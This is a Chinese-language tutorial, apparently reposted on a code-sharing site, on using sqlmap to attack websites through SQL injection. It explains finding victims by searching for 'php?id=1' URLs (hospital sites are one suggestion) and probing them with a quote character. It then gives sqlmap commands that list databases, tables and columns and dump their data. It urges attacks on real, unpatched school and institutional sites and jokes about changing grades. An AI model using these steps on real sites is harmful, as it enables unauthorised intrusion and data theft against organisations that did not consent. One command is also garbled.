使用sqlmap執行SQL注入攻擊


sqlmap是開源的SQL注入自動攻擊工具,它可以自動的探測SQL注入點並且進一步控制網站的數據庫。

Kali Linux默認安裝了這個工具。

找到潛在的攻擊目標

第一步是找到有SQL注入漏洞的網站。如果你沒有特定攻擊目標,可以使用Google搜索 php?id=1 (或php?id= + xx系醫院):

找到結果中的url:

http://www.test.com/index.php?id=1

檢測是否有SQL注入漏洞;在url后添加一個’符號,使用瀏覽器訪問:

http://www.test.com/index.php?id=1'

如果網站沒有SQL注入漏洞,使用上面的地址訪問不會有問題。如果有SQL注入漏洞,會有錯誤輸出:

中國很多企事業的網站都有漏洞,有很多學校網站的漏洞早已被發到了網上,這幫家伙也不修復。

入侵學校網站,修改成績,有沒有人想過:)。

關於使用sqlmap的法律問題:

Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

SQL注入

測試SQL注入:

# sqlmap -u http://www.test.com/index.php?id=1 --dbs

自動探測數據庫類型和漏洞,如果成功會列出數據庫:

獲得某個數據庫中的表:

# sqlmap -u sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables

獲得表的字段:

# sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns

下載某一字段的數據:

# sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns -C some_col --dump

更多選項,參考man手冊:

# man sqlmap


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM